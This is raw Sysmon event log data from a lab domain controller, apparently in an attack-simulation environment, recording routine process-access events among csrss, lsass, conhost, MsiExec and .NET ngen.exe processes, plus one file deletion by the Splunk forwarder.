14:43:46.634{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-FB07-00000000F001}6652c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.634{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-FB07-00000000F001}6652c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.618{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F907-00000000F001}2408c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.618{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F907-00000000F001}2408c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.603{7BD73061-6F22-613B-FA07-00000000F001}66205504C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-F907-00000000F001}2408c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.587{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-FA07-00000000F001}6620C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.587{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F907-00000000F001}2408c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.587{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-F907-00000000F001}2408c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.571{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F707-00000000F001}7148c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.571{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F707-00000000F001}7148c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.556{7BD73061-6F22-613B-F807-00000000F001}67006472C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-F707-00000000F001}7148c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.556{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F807-00000000F001}6700C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.556{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F707-00000000F001}7148c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.556{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-F707-00000000F001}7148c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.540{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F507-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.540{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F507-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.525{7BD73061-6F22-613B-F607-00000000F001}70284828C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-F507-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.509{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F607-00000000F001}7028C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.509{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F507-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.509{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-F507-00000000F001}496c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.493{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F307-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.493{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F307-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.478{7BD73061-6F22-613B-F407-00000000F001}53006732C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-F307-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.478{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F407-00000000F001}5300C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.478{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F307-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.478{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-F307-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.462{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F107-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.462{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-F107-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.446{7BD73061-6F22-613B-F207-00000000F001}6608912C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-F107-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F7BEC2A7C8A56310E7A665ED6D7A9901,SHA256=0D4FF21F3E916A97281A8D384F078189B347F687023EE58B1C38D3DBCAD9ADBB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.443{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F207-00000000F001}6608C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.426{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F107-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 